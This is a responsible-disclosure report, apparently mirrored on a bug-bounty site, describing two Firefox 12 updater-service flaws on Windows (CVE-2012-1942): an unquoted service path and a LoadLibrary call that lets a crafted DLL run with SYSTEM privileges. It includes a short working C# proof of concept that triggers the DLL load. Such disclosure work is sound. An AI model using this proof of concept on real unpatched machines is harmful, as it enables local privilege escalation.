Possible Arbitrary Code Execution by Update Service
Originally disclosed on Mozilla
- Fixed in 7 days
- Paid in 15 months
- Disclosed after 7 days
Hi,
I notice two security issues in the new Mozilla updater service which came with FF12 on Windows I would like to report.
a) The service path is not quoted which means you can end up with the potential for a planting attack (e.g. if you can create C:\Program.exe it will run it when starting the service).
b) The service itself can be tricked into loading a DLL into the process with SYSTEM privileges and it will run its DLLMain (meaning you can do anything you like). You call LoadLibrary instead of LoadLibraryEx on line 329 of workmonitor.cpp when checking that you have the correct resource string. It should be called to only load it as a resource.
The following C# code will run the service and will load a DLL as long as the files C:\sourcecode\exploitme.dll and C:\sourcecode\updater.exe are the same. The DLL can then in DllMain run something like CreateProcess.
using System;
using System.ServiceProcess;
namespace FFService
{
class Program
{
static void Main(string[] args)
{
try
{
ServiceController c = new ServiceController("MozillaMaintenance");
c.Start(new string[] { "aaa", "software-update", "C:\\sourcecode\\exploitme.dll", "aaaa", "c:\\sourcecode\\", "cccc" });
}
catch (Exception e)
{
Console.WriteLine(e);
}
}
}
}
I have only tested in XP Pro SP3 but I assume it will work on Win7 and Vista just the same.
If you need more information let me know.
James Forshaw
Principal Security Consultant
Context Information Security
Registered no: 3574635 | Certified to ISO/IEC 27001:2005 (BSI Certificate IS 553326) and ISO 9001:2008 (BSI Certificate FS 581360)
www.contextis.com | 30 Marsh Wall, London E14 9TP, UK | Mob: +44 (0)7827 248760 | Tel:Â 0207 537 7515 | Fax: 0207 537 1071
The information contained in this email and any attachments may be legally privileged and confidential. If you are not the intended recipient you are notified that disclosing, copying, distributing or taking any action in reliance on the contents of this information is strictly prohibited. If you are not the intended recipient please contact us immediately. Any views or opinions presented in this email are solely those of the author and do not necessarily represent those of the company.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is known
A critical-severity RCE bug in Application Update. Mozilla made it public on 2 May 2012 as CVE-2012-1942.
About RCE
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
What is RCE?
Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.